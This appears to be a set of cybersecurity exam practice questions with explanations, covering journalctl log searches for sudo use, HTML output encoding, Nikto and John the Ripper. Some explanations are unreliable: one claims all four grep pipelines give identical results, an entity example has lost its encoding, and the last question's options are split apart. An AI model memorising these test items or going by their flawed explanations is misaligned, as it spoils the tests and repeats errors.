You are working on a hacking challenge on a Linux server owned by Dion Training. You have already gained initial access to the server and successfully elevated your privileges to root. As part of the challenge, you must locate any sudo commands issued by a user named Terri (whose login account is terri and UID=1003). Which of the following commands would successfully display every instance of the sudo command issued by Terri on this Linux server most efficiently? A. journalctl _UID=1003 | grep -e [Tt]erri | grep -e 1003 | grep sudo B. journalctl _UID=1003 | grep -e 1003 | grep sudo C. journalctl _UID=1003 | grep -e [Tt]erri | grep sudo D. journalctl _UID=1003 | grep sudo	journalctl is a command for viewing logs collected by systemd. The systemd-journald service is responsible for systemd's log collection, and it retrieves messages from the kernel, systemd services, and other sources. These logs are gathered in a central location, which makes them easy to review. If you specify the parameter of _UID=1003, you will only receive entries made under the authorities of the user with ID (UID) 1003. In this case, that is Terri. Using the piping function, we can send that list of entries into the grep command as an input and then filter the results before returning them to the screen. This command will be sufficient to see all the times that Terri has executed something as the superuser using privilege escalation. If there are too many results, we could further filter the results using regular expressions with grep using the -e flag. Since the UID of 1003 is only used by Terri, it is unnecessary to add [Tt]erri to your grep filter as the only results for UID 1003 (terri) will already be shown. So, while all four of these would produce the same results, the most efficient option to accomplish this is by entering "journalctl _UID=1003 | grep sudo" in the terminal. Don't get afraid when you see questions like this; walk through each part of the command step by step and determine the differences. In this question, you may not have known what journalctl is, but you didn't need to. You needed to identify which grep expression was the shortest that would still get the job done. By comparing the differences between the options presented, you could likely take your best guess and identify the right one.
Which of the following secure coding best practices ensures a character like < is translated into the &lt string when writing to an HTML page? A. Error handling B. Output encoding C. Input validation D. Session management	Output encoding involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example, translating the < character into the < string when writing to an HTML page. Input validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering the malfunction of various downstream components. Improper error handling can introduce various security problems where detailed internal error messages such as stack traces, database dumps, and error codes are displayed to an attacker. The session management implementation defines the exchange mechanism that will be used between the user and the web application to share and continuously exchange the session ID.
Which of the following vulnerability scanning tools would be used to conduct a web application vulnerability assessment? A. OpenVAS B. Nessus C. Nikto D. Qualys	Nikto is a web application scanner that can perform comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version-specific problems on over 270 servers. While OpenVAS, Nessus, and Qualys can scan the web servers themselves for vulnerabilities, they are not the best option to conduct a web application vulnerability assessment. OpenVAS, Nessus, and Qualys are infrastructure vulnerability scanners that focus on vulnerabilities with hosts and network devices.
What type of weakness is John the Ripper used to test during a technical assessment? A. File permissions B. Firewall rulesets	John the Ripper is a free, open-source password cracking software tool. It tests the strength of passwords during a technical

C. Passwords D. Usernames	assessment. John the Ripper supports both dictionary and brute force attacks.